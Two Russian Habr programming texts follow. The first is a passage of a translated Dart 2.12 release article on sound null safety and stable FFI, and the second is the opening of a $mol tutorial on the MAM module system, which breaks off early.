* Команда Flutter нашла баг, от которого движок Flutter может крашиться, если параметр `scene` в `Window.render`() получает `null`. Во время миграции на null safety они добавили хинт — [mark Scene as non-nullable](https://github.com/cbracken/engine/blob/bad869e229a8a02cad6e63d12e80807b33b5c12f/lib/ui/window.dart#L1069), благодаря которому легко смогли предотвратить возможные краши приложения, вызванные значением null.
Работа с non-nullable по умолчанию
----------------------------------
После [перехода на null safety](https://dart.dev/null-safety#enable-null-safety) основы объявления переменных меняются, потому что типы по умолчанию становятся non-nullable:
```
// In null-safe Dart, none of these can ever be null.
var i = 42; // Inferred to be an int.
String name = getFileName();
final b = Foo();
```
Если вы хотите создать переменную, которая может содержать значение или null, вам необходимо это обозначить в описании переменной, добавив суффикс ? к типу:
```
// aNullableInt can hold either an integer or null.
int? aNullableInt = null;
```
Null safety реализована очень надёжно: статический анализ с множеством функциональных возможностей облегчает работу с nullable типами. К примеру, после проверки null, Dart повышает тип локальной переменной с nullable до non-nullable:
```
int definitelyInt(int? aNullableInt) {
if (aNullableInt == null) {
return 0;
}
// aNullableInt has now promoted to a non-null int.
return aNullableInt;
}
```
Ещё мы добавили новое ключевое слово, `required`. Если обратиться к именованному параметру, обозначенному как `required` (что часто происходит в API виджетов во Flutter) и забыть предоставить аргумент, возникнет ошибка:
Поэтапная миграция на null safety
---------------------------------
Null safety – фундаментальное изменение нашей системы типов. Чтобы избежать множества проблем, мы не переводим на него принудительно: *вам* решать, когда лучше мигрировать.
Null safety – добровольный выбор: вы можете пользоваться Dart 2.12 и не обязаны при этом переходить на null safety. Вы даже можете использовать пакеты, уже поддерживающие null safety, независимо от того, поддерживает ваше приложение или пакет null safety или нет.
Чтобы помочь вам с миграцией уже имеющегося кода на null safety, у нас есть инструмент для миграции и [гайд по миграции](https://dart.dev/null-safety/migration-guide).
Сначала инструмент анализирует весь ваш код. Затем вы можете самостоятельно проверить допустимость значений null в обнаруженных случаях. Если вы не согласны с каким-то из результатов, можете добавить подсказку и таким образом изменить результат. Такие миграционные подсказки могут сильно улучшить качество миграции.
Пока что новые пакеты и приложения, собранные с `dart create` и `flutter create,` не поддерживают sound null safety. Мы планируем это исправить в будущем стабильном релизе, когда убедимся, что большая часть экосистемы мигрировала. Новый пакет или приложение можно легко [перевести на null safety](https://dart.dev/null-safety#create) с помощью `dart migrate`.
Статус миграции на null safety в экосистеме Dart
------------------------------------------------
За последний год мы делали несколько превью и бета-сборок sound null safety, чтобы наполнить экосистему пакетами, поддерживающими null safety. Подготовительный этап крайне важен, так как мы рекомендуем [мигрировать на sound null safety в определенном порядке](https://dart.dev/null-safety/migration-guide#step1-wait): пакет или приложение следует переводить на null safety только после того, как мигрируют все их зависимости.
Мы уже опубликовали null-safe-версии сотен пакетов от команд [Dart](https://pub.dev/packages?q=publisher%3Adart.dev&sort=popularity&null-safe=1), [Flutter](https://pub.dev/packages?q=publisher%3Aflutter.dev&sort=popularity&null-safe=1), [Firebase](https://pub.dev/packages?q=publisher%3Afirebase.google.com&sort=popularity&null-safe=1) и [Material](https://pub.dev/packages?q=publisher%3Amaterial.io&sort=popularity&null-safe=1). Помимо этого нам невероятно помогло сообщество: более тысячи пакетов на pub.dev уже поддерживают null safety.
Важно отметить, что самые популярные пакеты мигрировали первыми: 98% из 100 самых популярных пакетов, 78% из 250, и 57% из 500 уже перешли на поддержку null safety как раз к релизу. Мы надеемся, что в ближайшие недели на pub.dev появится ещё больше пакетов с null safety. Результаты [нашего анализа](https://github.com/dart-lang/sdk/wiki/Null-safety-migration-status) показали, что подавляющее большинство пакетов на pub.dev уже разблокированы и могут [начать процесс миграции](https://dart.dev/null-safety/migration-guide).
Преимущества sound null safety
------------------------------
Как только вы завершите миграцию, Dart станет абсолютно непротиворечивым (sound). Dart на 100% гарантирует, что переменные non-nullable типа не могут быть null. Когда Dart анализирует код и определяет переменную как non-nullable, эта переменная *всегда* будет non-nullable. Кроме Dart, sound null safety есть в Swift, но в целом таких языков программирования не очень много.
Sound null safety в Dart имеет ещё один плюс: ваши программы смогут стать меньше и быстрее. Так как Dart уверен, что non-nullable переменные никогда не имеют значения null, он [может оптимизировать код](https://medium.com/dartlang/dart-and-the-performance-benefits-of-sound-types-6ceedd5b6cdc). Например, Статический (AOT) компилятор Dart может генерировать более компактный и быстрый нативный код, потому что ему не надо добавлять проверку на nulls: он уже знает, что значение переменной не null.
Dart FFI для интеграции Dart с библиотеками C
---------------------------------------------
Dart FFI помогает эффективно использовать уже имеющийся в библиотеках C код, что улучшает переносимость и в то же время позволяет интегрировать хорошо отлаженный код на C в задачах, для которых критически важна производительность. На момент выхода Dart 2.12, [Dart FFI](https://dart.dev/guides/libraries/c-interop) перешел из *бета-версии* в стабильную и готов к применению в продакшн. Мы также добавили к нему несколько новых фич, включая вложенные структуры (struct) и возможность передавать структуры по значению.
Передача структур по значению
-----------------------------
В коде на языке C структуры можно передавать как по ссылке, так и по значению. Раньше FFI поддерживал только передачу по ссылке, но начиная с Dart 2.12 можно передавать структуры и по значению. Приведу небольшой пример двух функций на C, в которых структура передаётся как по ссылке, так и по значению:
```
struct Link {
double value;
Link* next;
};
void MoveByReference(Link* link) {
link->value = link->value + 10.0;
}
Coord MoveByValue(Link link) {
link.value = link.value + 10.0;
return link;
}
```
Вложенные структуры
-------------------
В языке C API часто используют вложенные структуры. Они содержат внутри себя другие структуры. Пример:
```
struct Wheel {
int spokes;
};
struct Bike {
struct Wheel front;
struct Wheel rear;
int buildYear;
};
```
С выходом Dart 2.12 FFI поддерживает вложенные структуры.
Изменения в API
---------------
Для перехода к стабильному FFI, а также для поддержки уже упомянутых фич, мы внесли несколько небольших изменений в API.
Теперь создавать пустые структуры не разрешается (изменение без обратной совместимости [#44622](https://github.com/dart-lang/sdk/issues/44622)), и разработчик получает предупреждение о депрекации. Вместо пустых структур можно использовать новый тип, `Opaque`. В функциях d`art:ffi` – `sizeOf`, `elementAt` и `ref` теперь требуется использовать аргументы, тип которых определяется во время компиляции (изменение без обратной совместимости [#44621](https://github.com/dart-lang/sdk/issues/44621)). В `package:ff`i добавлены новые вспомогательные функции, чтобы выделить и освободить память в распространённых случаях. Теперь больше не требуется дополнительного бойлерплейта:
```
// Allocate a pointer to an Utf8 array, fill it from a Dart string,
// pass it to a C function, convert the result, and free the arg.
//
// Before API change:
final pointer = allocate(count: 10);
free(pointer);
final arg = Utf8.toUtf8('Michael');
var result = helloWorldInC(arg);
print(Utf8.fromUtf8(result);
free(arg);
// After API change:
final pointer = calloc(10);
calloc.free(pointer);
final arg = 'Michael'.toNativeUtf8();
var result = helloWorldInC(arg);
print(result.toDartString);
calloc.free(arg);
```
Автоматическая генерация биндингов в FFI
----------------------------------------
В случае с большими API очень много времени может уйти на то, чтобы написать в Dart биндинги, интегрирующиеся с кодом на C. Чтобы сделать вашу жизнь проще, мы собрали генератор биндингов, который автоматически создает обёртки FFI из заголовочных файлов на C. Предлагаем вам попробовать, что получилось: [package:ffigen](https://pub.dev/packages/ffigen).
План развития FFI
-----------------
Теперь, когда основная часть FFI платформы готова, мы хотим добавить к набору фич FFI фичи, которые будут накладываться на основу платформы. Вот несколько интересующих нас фич:
* Типы данных, специфичные для ABI интерфейса, вроде int, long, size\_t ([#36140](https://github.com/dart-lang/sdk/issues/36140))
* Inline массивы в структурах ([#35763](https://github.com/dart-lang/sdk/issues/35763))
* Упакованные структуры ([#38158](https://github.com/dart-lang/sdk/issues/38158))
* Типы-объединения ([#38491](https://github.com/dart-lang/sdk/issues/38491))
* Финализаторы в Dart ([#35770](https://github.com/dart-lang/sdk/issues/35770); тем временем уже можно [использовать финализаторы из C](https://github.com/dart-lang/sdk/issues/35770))
Примеры использования FFI
-------------------------
Нам встречалось много интересных способов применения Dart FFI для интеграции с различными API на основе языка C. Вот несколько примеров:
* [open\_file](https://pub.dev/packages/open_file) один API, с помощью которого можно открывать файлы на нескольких платформах. С помощью FFI он вызывает API на нативной ОС (Windows, macOS и Linux).
* [win32](https://pub.dev/packages/win32) оборачивается вокруг большинства распространённых API Win32, благодаря чему можно вызывать целый ряд API Windows непосредственно из Dart.
* [objectbox](https://pub.dev/packages/objectbox) – «быстрая» база данных, поддерживаемая кодом на C.
* [tflite\_flutter](https://pub.dev/packages/tflite_flutter) с помощью FFI даёт Dart доступ к TensorFlow Lite API.
Чего ждать от языка Dart в будущем?
-----------------------------------
Sound null safety – самое крупное из изменений, внесённых в язык Dart за последние несколько лет. Мы хотим постепенно вносить чуть менее масштабные изменения в язык и платформу, опираясь на уже имеющийся крепкий фундамент. По ссылке можете посмотреть, с чем мы сейчас экспериментируем в [проекте по разработке языка](https://github.com/dart-lang/language/projects/1).
**Псевдонимы типов (type aliases)** ([#65](https://github.com/dart-lang/language/issues/65)): Возможность создавать псевдонимы других типов, помимо функций. Например, создавать typedef и использовать его как переменную:
```
typedef IntList = List;
IntList il = [1,2,3];
```
**Оператор тройного сдвига (triple-shift operator)** ([#120](https://github.com/dart-lang/language/issues/120)): новый, полностью переопределяемый оператор >>>, с помощью которого можно будет побитово сдвигать беззнаковые целые числа.
**Мета-аннотации дженерики (Generic metadata annotations)** ([#1297](https://github.com/dart-lang/language/issues/1297)): дополнение мета-аннотаций аннотациями, содержащими аргументы типа.
**Статическое метапрограммирование (Static meta-programming)** ([#1482](https://github.com/dart-lang/language/issues/1482)): поддержка статического метапрограммирования — программ на Dart, производящих новый исходных код Dart в процессе компиляции, аналогично [макросам](https://doc.rust-lang.org/book/ch19-06-macros.html) для Rust и [function builder](https://github.com/apple/swift-evolution/blob/9992cf3c11c2d5e0ea20bee98657d93902d5b174/proposals/XXXX-function-builders.md)-ам в Swift. Эта фича пока на начальном этапе исследования. По нашему мнению, с её помощью можно будет воплотить пользовательские сценарии, которые сегодня полагаются на автоматическую кодогенерацию.
Dart 2.12 уже доступен
----------------------
Dart 2.12 с поддержкой sound null safety и стабильным FFI уже можно использовать в SDK [Dart 2.12](https://dart.dev/get-dart) и [Flutter 2.0](https://flutter.dev/docs/get-started/). Но сначала просим вас ознакомиться с известными проблемами при миграции на null safety [в Dart](https://dart.dev/null-safety#known-issues) и [во Flutter](https://flutter.dev/docs/null-safety#known-issues). Если вы столкнулись с не упомянутой нами проблемой, пожалуйста, сообщите о ней в [Dart issue tracker](https://github.com/dart-lang/sdk/issues).
Если вы разрабатывали пакеты, опубликованные на [pub.dev](https://pub.dev/), просим вас сегодня же ознакомиться с [руководством по миграции](https://dart.dev/null-safety/migration-guide) и изучить, как мигрировать на sound null safety. Если вы переведете свой пакет на null safety, скорее всего, это поможет разблокировать другие зависящие от него пакеты и приложения.
Также хотим выразить огромную благодарность тем, кто уже мигрировал!
Нам очень интересно узнать о вашем опыте работы с sound null safety и FFI. Пожалуйста, оставьте комментарий или напишите нам в Твиттере: [@dart\_lang](https://twitter.com/dart_lang). | https://habr.com/ru/post/548460/ | null | ru | null |
# Введение в $mol. Часть 1. Модульная система
1. [Предисловие](#%D0%BF%D1%80%D0%B5%D0%B4%D0%B8%D1%81%D0%BB%D0%BE%D0%B2%D0%B8%D0%B5)
1. [MAM](#mam)
2. [Реактивность](#%D1%80%D0%B5%D0%B0%D0%BA%D1%82%D0%B8%D0%B2%D0%BD%D0%BE%D1%81%D1%82%D1%8C)
3. [View-компоненты](#view-%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82%D1%8B)
2. [Часть 1. Модульная система MAM](#%D1%87%D0%B0%D1%81%D1%82%D1%8C-1-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F-%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0-mam)
1. [Идеи и концепции](#%D0%B8%D0%B4%D0%B5%D0%B8-%D0%B8-%D0%BA%D0%BE%D0%BD%D1%86%D0%B5%D0%BF%D1%86%D0%B8%D0%B8)
1. [Модуль](#%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8C)
2. [Соглашения вместо конфигурации](#%D1%81%D0%BE%D0%B3%D0%BB%D0%B0%D1%88%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B2%D0%BC%D0%B5%D1%81%D1%82%D0%BE-%D0%BA%D0%BE%D0%BD%D1%84%D0%B8%D0%B3%D1%83%D1%80%D0%B0%D1%86%D0%B8%D0%B8)
3. [Отделение прикладного кода от инфраструктурного](#%D0%BE%D1%82%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D1%80%D0%B8%D0%BA%D0%BB%D0%B0%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE-%D0%BA%D0%BE%D0%B4%D0%B0-%D0%BE%D1%82-%D0%B8%D0%BD%D1%84%D1%80%D0%B0%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%BD%D0%BE%D0%B3%D0%BE)
4. [Фрактальные моно-поли-репозитории](#%D1%84%D1%80%D0%B0%D0%BA%D1%82%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5-%D0%BC%D0%BE%D0%BD%D0%BE-%D0%BF%D0%BE%D0%BB%D0%B8-%D1%80%D0%B5%D0%BF%D0%BE%D0%B7%D0%B8%D1%82%D0%BE%D1%80%D0%B8%D0%B8)
5. [Версионирование](#%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D0%BE%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
6. [Сборка](#%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D0%B0)
7. [Понятные имена](#%D0%BF%D0%BE%D0%BD%D1%8F%D1%82%D0%BD%D1%8B%D0%B5-%D0%B8%D0%BC%D0%B5%D0%BD%D0%B0)
8. [Автоматический импорт/экспорт](#%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9-%D0%B8%D0%BC%D0%BF%D0%BE%D1%80%D1%82-%D1%8D%D0%BA%D1%81%D0%BF%D0%BE%D1%80%D1%82)
9. [Гранулированность](#%D0%B3%D1%80%D0%B0%D0%BD%D1%83%D0%BB%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D1%8C)
10. [Оптимизация размера бандла](#%D0%BE%D0%BF%D1%82%D0%B8%D0%BC%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-%D1%80%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D0%B0-%D0%B1%D0%B0%D0%BD%D0%B4%D0%BB%D0%B0)
11. [Независимость от языков](#%D0%BD%D0%B5%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D1%8C-%D0%BE%D1%82-%D1%8F%D0%B7%D1%8B%D0%BA%D0%BE%D0%B2)
12. [Разные типы файлов](#%D1%80%D0%B0%D0%B7%D0%BD%D1%8B%D0%B5-%D1%82%D0%B8%D0%BF%D1%8B-%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2)
13. [Тестовые бандлы](#%D1%82%D0%B5%D1%81%D1%82%D0%BE%D0%B2%D1%8B%D0%B5-%D0%B1%D0%B0%D0%BD%D0%B4%D0%BB%D1%8B)
14. [Одинаковый код на dev и prod](#%D0%BE%D0%B4%D0%B8%D0%BD%D0%B0%D0%BA%D0%BE%D0%B2%D1%8B%D0%B9-%D0%BA%D0%BE%D0%B4-%D0%BD%D0%B0-dev-%D0%B8-prod)
2. [Погружение](#%D0%BF%D0%BE%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5)
1. [Установка MAM-окружения и настройка VSCode](#%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-mam-%D0%BE%D0%BA%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B8-%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0-vscode)
2. [Где находятся исходники MAM?](#%D0%B3%D0%B4%D0%B5-%D0%BD%D0%B0%D1%85%D0%BE%D0%B4%D1%8F%D1%82%D1%81%D1%8F-%D0%B8%D1%81%D1%85%D0%BE%D0%B4%D0%BD%D0%B8%D0%BA%D0%B8-mam)
3. [Как создать модуль?](#%D0%BA%D0%B0%D0%BA-%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1%8C-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8C)
4. [Какие языки и форматы может содержать модуль?](#%D0%BA%D0%B0%D0%BA%D0%B8%D0%B5-%D1%8F%D0%B7%D1%8B%D0%BA%D0%B8-%D0%B8-%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D1%8B-%D0%BC%D0%BE%D0%B6%D0%B5%D1%82-%D1%81%D0%BE%D0%B4%D0%B5%D1%80%D0%B6%D0%B0%D1%82%D1%8C-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8C)
5. [Как называть файлы модуля?](#%D0%BA%D0%B0%D0%BA-%D0%BD%D0%B0%D0%B7%D1%8B%D0%B2%D0%B0%D1%82%D1%8C-%D1%84%D0%B0%D0%B9%D0%BB%D1%8B-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F)
6. [Начальная реализация модуля $my\_counter](#%D0%BD%D0%B0%D1%87%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F-%D1%80%D0%B5%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F-my-counter)
7. [Как собрать модуль вручную?](#%D0%BA%D0%B0%D0%BA-%D1%81%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D1%8C-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8C-%D0%B2%D1%80%D1%83%D1%87%D0%BD%D1%83%D1%8E)
8. [Где искать результаты сборки?](#%D0%B3%D0%B4%D0%B5-%D0%B8%D1%81%D0%BA%D0%B0%D1%82%D1%8C-%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D1%8B-%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D0%B8)
9. [Какие файлы создает сборщик](#%D0%BA%D0%B0%D0%BA%D0%B8%D0%B5-%D1%84%D0%B0%D0%B9%D0%BB%D1%8B-%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%B5%D1%82-%D1%81%D0%B1%D0%BE%D1%80%D1%89%D0%B8%D0%BA)?
10. [Запуск дев-сервера](#%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA-%D0%B4%D0%B5%D0%B2-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0)
11. [Как импортировать и экспортировать модули](#%D0%BA%D0%B0%D0%BA-%D0%B8%D0%BC%D0%BF%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%B8-%D1%8D%D0%BA%D1%81%D0%BF%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D0%B8)?
12. [Что если модуль используется много раз и его имя слишком длинное](#%D1%87%D1%82%D0%BE-%D0%B5%D1%81%D0%BB%D0%B8-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8C-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5%D1%82-%D1%8F-%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE-%D1%80%D0%B0%D0%B7-%D0%B8-%D0%B5%D0%B3%D0%BE-%D0%B8%D0%BC%D1%8F-%D1%81%D0%BB%D0%B8%D1%88%D0%BA%D0%BE%D0%BC-%D0%B4%D0%BB%D0%B8%D0%BD%D0%BD%D0%BE%D0%B5)?
13. [Какие модули включаются в дистрибутив](#%D0%BA%D0%B0%D0%BA%D0%B8%D0%B5-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D0%B8-%D0%B2%D0%BA%D0%BB%D1%8E%D1%87%D0%B0%D1%8E%D1%82%D1%81%D1%8F-%D0%B2-%D0%B4%D0%B8%D1%81%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B8%D0%B2)?
14. [Зависимость между css и ts](#%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D1%8C-%D0%BC%D0%B5%D0%B6%D0%B4%D1%83-css-%D0%B8-tss)
15. [Как перенести модуль в другое место](https://%D0%BA%D0%B0%D0%BA-%D0%BF%D0%B5%D1%80%D0%B5%D0%BD%D0%B5%D1%81%D1%82%D0%B8-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8C-%D0%B2-%D0%B4%D1%80%D1%83%D0%B3%D0%BE%D0%B5-%D0%BC%D0%B5%D1%81%D1%82%D0%BE)?
16. [Монорепозитории и полирепозитории](#%D0%BC%D0%BE%D0%BD%D0%BE%D1%80%D0%B5%D0%BF%D0%BE%D0%B7%D0%B8%D1%82%D0%BE%D1%80%D0%B8%D0%B8-%D0%B8-%D0%BF%D0%BE%D0%BB%D0%B8%D1%80%D0%B5%D0%BF%D0%BE%D0%B7%D0%B8%D1%82%D0%BE%D1%80%D0%B8%D0%B8)
17. [Разделение кода на платформы](#%D1%80%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BA%D0%BE%D0%B4%D0%B0-%D0%BD%D0%B0-%D0%BF%D0%BB%D0%B0%D1%82%D1%84%D0%BE%D1%80%D0%BC%D1%8B)
18. [Как использовать NPM-пакеты в node](#%D0%BA%D0%B0%D0%BA-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-npm-%D0%BF%D0%B0%D0%BA%D0%B5%D1%82%D1%8B-%D0%B2-node)?
19. [Как добавить статический файл в дистрибутив](#%D0%BA%D0%B0%D0%BA-%D0%B4%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C-%D1%81%D1%82%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9-%D1%84%D0%B0%D0%B9%D0%BB-%D0%B2-%D0%B4%D0%B8%D1%81%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B8%D0%B2)?
20. [Как включить модуль в проект, на который никто не ссылается](#%D0%BA%D0%B0%D0%BA-%D0%B2%D0%BA%D0%BB%D1%8E%D1%87%D0%B8%D1%82%D1%8C-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8C-%D0%B2-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82-%D0%BD%D0%B0-%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B9-%D0%BD%D0%B8%D0%BA%D1%82%D0%BE-%D0%BD%D0%B5-%D1%81%D1%81%D1%8B%D0%BB%D0%B0%D0%B5%D1%82%D1%81%D1%8F)?
21. [Развертывание модуля в NPM](#%D1%80%D0%B0%D0%B7%D0%B2%D0%B5%D1%80%D1%82%D1%8B%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F-%D0%B2-npm)
22. [Как использовать NPM в web](#%D0%BA%D0%B0%D0%BA-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-npm-%D0%B2-web)?
23. [Развертывание приложения на Github Pages](#%D1%80%D0%B0%D0%B7%D0%B2%D0%B5%D1%80%D1%82%D1%8B%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-%D0%BD%D0%B0-github-pages)
24. [Циклические зависимости](#%D1%86%D0%B8%D0%BA%D0%BB%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5-%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8)
3. [Рекомендации по использованию MAM](#%D1%80%D0%B5%D0%BA%D0%BE%D0%BC%D0%B5%D0%BD%D0%B4%D0%B0%D1%86%D0%B8%D0%B8-%D0%BF%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E-mam)
3. [В следующей части](#%D0%B2-%D1%81%D0%BB%D0%B5%D0%B4%D1%83%D1%8E%D1%89%D0%B5%D0%B9-%D1%87%D0%B0%D1%81%D1%82%D0%B8)
4. [Контакты](#%D0%BA%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D1%8B)
Предисловие
-----------
Эта статья открывает серию публикаций по обучению фреймворку $mol. Сегодня мы разберемся в модульной системе MAM. Речь пойдет об организации кода, отделении его от инфраструктуры, сборке, версионировании, нейминге, минимизации размера бандла, автоматическом выкачивании зависимостей, фрактальных моно-поли-репозиториях, разделении кода на платформы, альтернативе импортам/экспортам, автоматическом разруливании циклических зависимостей.
$mol - высокоуровневый веб-фреймворк, который переосмысливает общепринятые подходы. Одновременно с этим это набор узкоспециализированных, подогнанных друг к другу модулей. Популярные высокоуровневые фреймворки ассоциируются с неповоротливостью и сложной кастомизацией. $mol спроектирован так, что можно быстро собрать интерфейс как на высокоуровневом фреймворке, при этом гибкость кастомизации превосходит низкоуровневые фреймворки.
Для кого-то богатство экосистемы фреймворка является определяющим фактором. В $mol много модулей, они закрывают большинство потребностей. Недостающие можно собрать из существующих или использовать npm.
Как это не парадоксально звучит, но чем больше у вас опыта, тем сложнее освоить $mol. В нем используется много непривычных подходов, которые при первом знакомстве вызывают отторжение. Но стоит их переварить и становится непонятно, как жилось без этого раньше.
MAM
---
MAM - это модульная система, в которой живут модули $mol. Абстрактный модуль - это директория с файлами, которые его реализуют. MAM - это набор правил, ограничений и принципов, которые превращают код в кубики LEGO.
Изучение $mol, лучше начинать с MAM. Разберитесь как использовать модули на практике, а затем приступите к знакомству с системой реактивности.
Реактивность
------------
Если вы знаете, как работает Mobx, то уже представляете как работает система реактивности в $mol. Тут она используется на всех уровнях, а не только на уровне представления.
В отличие от архитектуры потока управления, в $mol реализована архитектура потока данных. Приложение определяется как набор классов с реактивными свойствами. Свойство представляет собой метод с реактивным декоратором. Каждое свойство определяется как некоторая функция от других свойств. Результат выполнения свойств кэшируется.
При вызове, реактивное свойство запоминают к каким свойствам оно обращалось во время выполнения, и кто к нему обращался.
Когда какое-то свойство меняет свое значение, зависимые от него свойства помечаются устаревшими. Если получить значение устаревшего свойства, произойдет актуализация помеченного поддерева и свойство вернет актуальный результат. Если обратиться к свойству в актуальном состоянии, оно вернет результат из кэша.
Всё приложение на этапе выполнения представляет собой большое дерево зависимостей. Каждое свойство знает свои зависимости, это дает простой и надежный механизм управления жизненным циклом объектов - они создаются, когда появляется зависимость, и уничтожаются, когда от них ничего не зависит. Это решает две фундаментальные проблемы: утечки памяти и инвалидацию кэша.
View-компоненты
---------------
После того как вы разберетесь с реактивностью, можно переходить к view-компонентам, из них строится пользовательский интерфейс.
В $mol компонент состоит из нескольких частей, а каждая часть, находится в отдельном файле, можно выделить 5 частей:
* Декларативное описание интерфейса компонента и потоков данных(обязательное, остальное опционально);
* Императивное поведение компонента;
* Стили;
* Локализация;
* Тесты.
Есть базовый класс [$mol\_view](https://github.com/hyoo-ru/mam_mol/blob/master/view/view/view.ts) с набором свойств, такими как события, атрибуты, дети и т.д. Он является оберткой над одним DOM-элементом. Когда любое из его свойств становится неактуальным, реактивная система автоматически вызывает его актуализацию, что точечно обновляет элемент в DOM-дереве.
Пользовательские компоненты, наследуются от базового класса, и настраивают его компоновку и поведение.
Для описания компонент используется язык `view.tree`. С виду он выглядит сложными и нечитаемым, но это только с первого взгляда, точно такое же впечатление производит `html`, когда видишь его впервые. Но `view.tree` не `html`, там всего порядка 10 операторов, на изучение которых необходимо несколько часов. Он не является шаблоном в общепринятом понимании, это ближе к интерфейсам в `typescript`.
С помощью `view.tree` мы говорим:
* как называется наш компонент;
* от какого компонента он наследуется;
* какими компонентами он владеет;
* как эти компоненты компонуются в его `children`;
* какие состояния имеет компонент;
* какими потоками данных связаны компоненты и состояния.
Сборщик из `view.tree` описания генерирует класс, от которого можно отнаследоваться и добавить поведение.
Часть 1. Модульная система MAM
------------------------------
MAM - модульная система, в которой переосмыслена работа с кодом и его организация. Она проектировалась для единообразной работы с произвольными объемами кода, облегчая переиспользование и минимизируя рутину.
MAM расшифровывается как `Mam owns Abstract Modules`.
### Идеи и концепции
#### Модуль
Модуль - директория, внутри которой находятся файлы реализующие его. Разные части модуля находятся в разных файлах. Абстрактный - значит, что модуль не привязан к какому-то конкретному языку, а может быть реализован на нескольких. Модуль первичен, а технологии на которых он реализован - вторичны.
Особенности:
* Один модуль - одна директория.
* Модули произвольно вкладываются друг в друга, все есть модуль.
* Имя модуля - путь до него в файловой системе.
* Модуль может выступать пространством имен - содержать только директории.
* Зависимости между модулями отслеживаются автоматически.
* Разные типы исходников модуля, попадают в разные бандлы.
Можно провести аналогию с [БЭМ методологией](https://ru.bem.info/methodology/filestructure/), там используется термин "блок", первичен блок, его реализация вторична.
#### Соглашения вместо конфигурации
